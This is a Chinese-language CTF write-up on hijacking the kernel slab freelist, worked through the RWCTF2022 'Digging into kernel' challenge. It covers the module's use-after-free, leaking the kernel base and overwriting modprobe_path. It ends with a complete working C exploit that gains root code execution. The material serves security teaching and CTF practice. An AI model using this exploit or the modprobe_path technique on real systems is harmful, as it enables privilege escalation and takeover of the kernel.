freelist 劫持¶

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与用户态 glibc 中分配 fake chunk 后覆写 __free_hook 这样的手法类似，我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配，并修改内核当中一些有用的数据以完成提权（例如一些函数表等）。

例题：RWCTF2022高校赛 - Digging into kernel 1 & 2¶

两道题目实际上是同一道题，因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复

题目分析¶

首先查看启动脚本

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic

开启了 smep 和 smap，这里出题人将 kaslr 写成了 kalsr，不过并不影响 kaslr 的默认开启。

查看 /sys/devices/system/cpu/vulnerabilities/*，发现开启了 KPTI：

/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

题目给出了一个 xkmod.ko 文件，按照惯例这应当就是有漏洞的 LKM，拖入 IDA 进行分析。

在模块载入时会新建一个 kmem_cache 叫 "lalala"，对应 object 大小是 192，这里我们注意到后面三个参数都是 0 ，对应的是 align（对齐）、flags（标志位）、ctor（构造函数），由于没有设置 SLAB_ACCOUNT 标志位故该 kmem_cache 会默认与 kmalloc-192 合并。

int __cdecl xkmod_init()
{
  kmem_cache *v0; // rax

  printk(&unk_1E4);
  misc_register(&xkmod_device);
  v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
  buf = 0LL;
  s = v0;
  return 0;
}

定义了一个常规的菜单堆，给了分配、编辑、读取 object 的功能，这里的 buf 是一个全局指针，我们可以注意到 ioctl 中所有的操作都没有上锁。

void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // [rsp+0h] [rbp-20h] BYREF
  unsigned int v4; // [rsp+8h] [rbp-18h]
  unsigned int v5; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v6; // [rsp+10h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  if ( a3 )
  {
    copy_from_user(&v3, a3, 16LL);
    if ( a2 == 107374182 )
    {
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_from_user((char *)buf + (int)v4, v3, (int)v5);
        return;
      }
    }
    else
    {
      if ( a2 != 125269879 )
      {
        if ( a2 == 17895697 )
          buf = (void *)kmem_cache_alloc(s, 3264LL);
        return;
      }
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_to_user(v3, (char *)buf + (int)v4);
        return;
      }
    }
    xkmod_ioctl_cold();
  }
}

我们应当传入如下结构体：

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
}data;

漏洞点主要在关闭设备文件时会释放掉 buf，但是没有将 buf 指针置 NULL，只要我们同时打开多个设备文件便能完成 UAF。

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

基本上等于复刻 CISCN-2017 的 babydrive...

漏洞利用¶

我们有着一个功能全面的“堆面板”，还拥有着近乎可以无限次利用的 UAF，我们已经可以在内核空间中为所欲为了（甚至不需要使用 ioctl 未上锁的漏洞），因此解法也是多种多样的。

Step.I - 实现内核任意地址读写¶

我们先看看能够利用 UAF 获取到什么信息，经笔者多次尝试可以发现当我们将 buf 释放掉之后读取其中数据时其前 8 字节都是一个位于内核堆上的指针，但通常有着不同的页内偏移，这说明：

该 kmem_cache 的 offset 为 0
该 kernel 未开启 HARDENED_FREELIST 保护
该 kernel 开启了 RANDOM_FREELIST 保护

freelist 随机化保护并非是一个运行时保护，而是在为 slub 分配页面时会将页面内的 object 指针随机打乱，但是在后面的分配释放中依然遵循着后进先出的原则，因此我们可以先获得一个 object 的 UAF，修改其 next 为我们想要分配的地址，之后我们连续进行两次分配便能够成功获得目标地址上的 object ，实现任意地址读写。

但这么做有着一个小问题，当我们分配到目标地址时目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域，从而使得 freelist 获得一个 NULL 指针，促使 kmem_cache 向 buddy system 请求一个新的 slub，这样就不会发生 crash。

可能有细心的同学发现了：原来的 slub 上面还有一定数量的空闲 object，直接丢弃的话会导致内存泄漏的发生，但首先这一小部分内存的泄露并不会造成负面的影响，其次这也不是我们作为攻击者应该关注的问题（笑）

Step.II - 泄露内核基地址¶

接下来我们考虑如何泄露内核基址，虽然题目新建的 kmem_cache 会默认与 kmalloc-192 合并，但为了还原出题人原始意图，我们还是将其当作一个独立的 kmem_cache 来完成利用。

在内核“堆基址”（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去猜测堆的基址，之后分配到一个 堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。

若是没有猜中，笔者认为直接重试即可，但这里需要注意的是我们不能够直接退出，而应当保留原进程的文件描述符打开，否则会在退出进程时触发 slub 的 double free 检测，不过经笔者测验大部分情况下都能够猜中堆基址。

Step.III - 修改 modprobe_path 以 root 执行程序¶

接下来我们考虑如何通过任意地址写完成利用，比较常规的做法是覆写内核中的一些全局的可写的函数表（例如 n_tty_ops）来劫持内核执行流，这里笔者选择覆写 modprobe_path 从而以 root 执行程序。

当我们尝试去执行（execve）一个非法的文件（file magic not found），内核会经历如下调用链：

entry_SYSCALL_64()
    sys_execve()
        do_execve()
            do_execveat_common()
                bprm_execve()
                    exec_binprm()
                        search_binary_handler()
                            __request_module() // wrapped as request_module
                                call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c，我们主要关注这部分代码（以下来着内核源码5.14）：

static int call_modprobe(char *module_name, int wait)
{
    //...
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;  /* check free_modprobe_argv() */
    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    if (!info)
        goto free_module_name;

    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    //...

在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行，这个地址上默认存储的值为/sbin/modprobe。

我们不难想到的是：若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件，内核将会以 root 权限执行我们的恶意脚本。

EXPLOIT¶

最后的 exp 如下：

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH 0xffffffff82444700

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
};

#define ROOT_SCRIPT_PATH  "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void allocBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void editBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void readBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[5], root_script_fd, flag_fd;
    size_t kernel_heap_leak, kernel_text_leak;
    size_t kernel_base, kernel_offset, page_offset_base;
    char flag[0x100];
    struct Data data;

    /* fundamental works */
    bindCore(0);

    for (int i = 0; i < 5; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    /* create fake modprobe_path file */
    root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " ROOT_SCRIPT_PATH);

    /* construct UAF */
    data.ptr = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.ptr, 0, 0x1000);

    allocBuf(dev_fd[0], &data);
    editBuf(dev_fd[0], &data);
    close(dev_fd[0]);

    /* leak kernel heap addr and guess the page_offset_base */
    readBuf(dev_fd[1], &data);
    kernel_heap_leak = data.ptr[0];
    page_offset_base = kernel_heap_leak & 0xfffffffff0000000;

    printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
    printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);

    /* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
    puts("[*] leaking kernel base...");

    data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
    data.offset = 0;
    data.length = 8;

    editBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);

    data.length = 0x40;
    readBuf(dev_fd[1], &data);
    if ((data.ptr[2] & 0xfff) != 0x30) {
        printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
        errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
    }

    kernel_base = data.ptr[2] - 0x30;
    kernel_offset = kernel_base - 0xffffffff81000000;
    printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
    printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);

    /* hijack the modprobe_path, we'll let it requesting new slub page for it */
    puts("[*] hijacking modprobe_path...");

    allocBuf(dev_fd[1], &data);
    close(dev_fd[1]);

    data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
    data.offset = 0;
    data.length = 0x8;

    editBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);

    strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
    data.length = 0x30;
    editBuf(dev_fd[2], &data);

    /* trigger the fake modprobe_path */
    puts("[*] trigerring fake modprobe_path...");

    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");

    /* read flag */
    memset(flag, 0, sizeof(flag));

    flag_fd = open("/flag", O_RDWR);
    if (flag_fd < 0) {
        errExit("failed to chmod flag!");
    }

    read(flag_fd, flag, sizeof(flag));
    printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);

    return 0;
}